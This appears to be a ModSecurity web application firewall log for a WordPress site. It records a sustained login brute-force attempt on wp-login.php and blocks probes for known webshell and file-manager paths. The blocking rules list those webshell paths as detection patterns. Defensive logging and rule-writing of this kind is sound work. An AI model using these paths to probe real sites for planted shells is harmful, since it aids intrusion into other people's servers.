[Sun Mar 01 14:14:04.476443 2026] [:error] [pid 37032:tid 37038] [client 45.141.233.210:58948] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaPZLOu0U4o7eSImsVQLQQAAAYQ"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 14:14:07.155492 2026] [:error] [pid 37032:tid 37039] [client 45.141.233.210:58948] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaPZL-u0U4o7eSImsVQLSAAAAYU"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 14:14:08.478054 2026] [:error] [pid 37032:tid 37057] [client 45.141.233.210:58948] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaPZMOu0U4o7eSImsVQLSQAAAZc"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 14:14:11.168618 2026] [:error] [pid 37032:tid 37046] [client 45.141.233.210:58948] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaPZM-u0U4o7eSImsVQLVQAAAYw"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 14:14:12.420758 2026] [:error] [pid 37032:tid 37050] [client 45.141.233.210:58948] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaPZNOu0U4o7eSImsVQLWQAAAZA"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 14:14:15.169176 2026] [:error] [pid 37032:tid 37045] [client 45.141.233.210:58948] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaPZN-u0U4o7eSImsVQLZgAAAYs"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 14:14:16.437521 2026] [:error] [pid 37032:tid 37050] [client 45.141.233.210:58948] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaPZOOu0U4o7eSImsVQLaQAAAZA"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 14:14:19.108229 2026] [:error] [pid 37032:tid 37051] [client 45.141.233.210:58948] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaPZO-u0U4o7eSImsVQLbgAAAZE"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 14:14:20.468590 2026] [:error] [pid 37032:tid 37054] [client 45.141.233.210:58948] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaPZPOu0U4o7eSImsVQLbwAAAZQ"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 14:14:23.421711 2026] [:error] [pid 37032:tid 37043] [client 45.141.233.210:58948] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaPZP-u0U4o7eSImsVQLcwAAAYk"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 14:14:24.837368 2026] [:error] [pid 37032:tid 37057] [client 45.141.233.210:58948] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaPZQOu0U4o7eSImsVQLdAAAAZc"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 14:14:27.562561 2026] [:error] [pid 37032:tid 37035] [client 45.141.233.210:58948] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaPZQ-u0U4o7eSImsVQLewAAAYE"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 14:14:29.469405 2026] [:error] [pid 37032:tid 37054] [client 45.141.233.210:58948] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaPZReu0U4o7eSImsVQLigAAAZQ"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 14:14:33.324621 2026] [:error] [pid 37032:tid 37050] [client 45.141.233.210:60040] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaPZSeu0U4o7eSImsVQLmwAAAZA"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 14:14:34.647539 2026] [:error] [pid 37032:tid 37038] [client 45.141.233.210:60040] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaPZSuu0U4o7eSImsVQLqAAAAYQ"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 14:14:37.538063 2026] [:error] [pid 37032:tid 37036] [client 45.141.233.210:60040] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaPZTeu0U4o7eSImsVQLrQAAAYI"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 14:14:38.867772 2026] [:error] [pid 37032:tid 37043] [client 45.141.233.210:60040] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaPZTuu0U4o7eSImsVQLtAAAAYk"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 14:14:41.644510 2026] [:error] [pid 37032:tid 37056] [client 45.141.233.210:60040] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaPZUeu0U4o7eSImsVQLvwAAAZY"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 14:14:43.052761 2026] [:error] [pid 37032:tid 37037] [client 45.141.233.210:60040] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaPZU-u0U4o7eSImsVQLwAAAAYM"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 14:14:45.845073 2026] [:error] [pid 37032:tid 37051] [client 45.141.233.210:60040] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaPZVeu0U4o7eSImsVQLxQAAAZE"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 14:14:47.229855 2026] [:error] [pid 37032:tid 37057] [client 45.141.233.210:60040] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaPZV-u0U4o7eSImsVQLxwAAAZc"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 14:14:50.180641 2026] [:error] [pid 37032:tid 37050] [client 45.141.233.210:60040] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaPZWuu0U4o7eSImsVQLygAAAZA"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 14:14:51.726604 2026] [:error] [pid 37032:tid 37040] [client 45.141.233.210:60040] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaPZW-u0U4o7eSImsVQLywAAAYY"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 14:14:54.980712 2026] [:error] [pid 37032:tid 37056] [client 45.141.233.210:60040] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaPZXuu0U4o7eSImsVQLzQAAAZY"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 14:14:56.747969 2026] [:error] [pid 37032:tid 37036] [client 45.141.233.210:60040] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaPZYOu0U4o7eSImsVQLzgAAAYI"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 14:14:59.549609 2026] [:error] [pid 37032:tid 37057] [client 45.141.233.210:60040] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaPZY-u0U4o7eSImsVQL1gAAAZc"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 14:15:00.920503 2026] [:error] [pid 37032:tid 37040] [client 45.141.233.210:60040] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaPZZOu0U4o7eSImsVQL3AAAAYY"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 14:15:03.819876 2026] [:error] [pid 37032:tid 37057] [client 45.141.233.210:60040] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaPZZ-u0U4o7eSImsVQL6AAAAZc"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 14:15:05.095337 2026] [:error] [pid 37032:tid 37039] [client 45.141.233.210:60040] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaPZaeu0U4o7eSImsVQL7QAAAYU"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 14:15:07.939568 2026] [:error] [pid 37032:tid 37037] [client 45.141.233.210:60040] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaPZa-u0U4o7eSImsVQL7wAAAYM"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 14:15:09.197761 2026] [:error] [pid 37032:tid 37043] [client 45.141.233.210:60040] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaPZbeu0U4o7eSImsVQL8AAAAYk"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 14:15:11.859966 2026] [:error] [pid 37032:tid 37045] [client 45.141.233.210:60040] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaPZb-u0U4o7eSImsVQL9gAAAYs"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 14:15:13.116015 2026] [:error] [pid 37032:tid 37038] [client 45.141.233.210:60040] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaPZceu0U4o7eSImsVQL9wAAAYQ"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 14:15:15.921084 2026] [:error] [pid 37032:tid 37039] [client 45.141.233.210:60040] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaPZc-u0U4o7eSImsVQL_gAAAYU"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 14:15:17.260144 2026] [:error] [pid 37032:tid 37037] [client 45.141.233.210:60040] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaPZdeu0U4o7eSImsVQL_wAAAYM"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 14:15:19.991039 2026] [:error] [pid 37032:tid 37035] [client 45.141.233.210:60040] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaPZd-u0U4o7eSImsVQMAwAAAYE"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 14:15:21.328676 2026] [:error] [pid 37032:tid 37034] [client 45.141.233.210:60040] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaPZeeu0U4o7eSImsVQMBQAAAYA"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 14:15:27.735433 2026] [:error] [pid 37032:tid 37053] [client 45.141.233.210:60040] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaPZf-u0U4o7eSImsVQMEQAAAZM"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 14:15:29.462258 2026] [:error] [pid 37032:tid 37057] [client 45.141.233.210:60040] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaPZgeu0U4o7eSImsVQMFgAAAZc"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 14:15:31.834560 2026] [:error] [pid 41342:tid 41348] [client 45.86.202.190:44193] [client 45.86.202.190] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aaPZg44iJ6RAS5CatDlCFAAAAgM"]
[Sun Mar 01 14:15:32.221825 2026] [:error] [pid 37032:tid 37038] [client 45.141.233.210:60040] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaPZhOu0U4o7eSImsVQMIAAAAYQ"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 14:15:33.517490 2026] [:error] [pid 37032:tid 37043] [client 45.141.233.210:60040] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaPZheu0U4o7eSImsVQMJAAAAYk"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 14:15:36.162295 2026] [:error] [pid 37032:tid 37046] [client 45.141.233.210:60040] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaPZiOu0U4o7eSImsVQMNgAAAYw"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 14:15:37.425016 2026] [:error] [pid 37032:tid 37051] [client 45.141.233.210:60040] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaPZieu0U4o7eSImsVQMOgAAAZE"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 14:15:38.444061 2026] [:error] [pid 44644:tid 44648] [client 45.86.202.159:21529] [client 45.86.202.159] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/style-engine/worksec.php"] [unique_id "aaPZip3RJaXMcw3y9V9h6wAAAAE"]
[Sun Mar 01 14:15:40.381243 2026] [:error] [pid 37032:tid 37053] [client 45.141.233.210:60040] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaPZjOu0U4o7eSImsVQMQAAAAZM"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 14:15:41.819711 2026] [:error] [pid 37032:tid 37037] [client 45.141.233.210:60040] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaPZjeu0U4o7eSImsVQMSQAAAYM"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 14:15:44.991115 2026] [:error] [pid 37032:tid 37054] [client 45.141.233.210:60040] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaPZkOu0U4o7eSImsVQMWQAAAZQ"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 14:15:46.671648 2026] [:error] [pid 37032:tid 37035] [client 45.141.233.210:60040] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaPZkuu0U4o7eSImsVQMaAAAAYE"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 14:15:51.042861 2026] [:error] [pid 37032:tid 37053] [client 45.141.233.210:60040] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaPZl-u0U4o7eSImsVQMlQAAAZM"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 14:15:52.765052 2026] [:error] [pid 41780:tid 41794] [client 45.86.202.162:63469] [client 45.86.202.162] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "gigfragments.org"] [uri "/tinyfilemanager.php"] [unique_id "aaPZmMONkVoocLIqzy0HWQAAA8s"]
[Sun Mar 01 14:15:52.797527 2026] [:error] [pid 37032:tid 37036] [client 45.141.233.210:60040] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaPZmOu0U4o7eSImsVQMowAAAYI"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 14:15:55.877354 2026] [:error] [pid 37032:tid 37054] [client 45.141.233.210:60040] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaPZm-u0U4o7eSImsVQMugAAAZQ"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 14:15:57.632302 2026] [:error] [pid 37032:tid 37057] [client 45.141.233.210:60040] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaPZneu0U4o7eSImsVQMxQAAAZc"], referer: https://gigfragments.org/wp-login.php
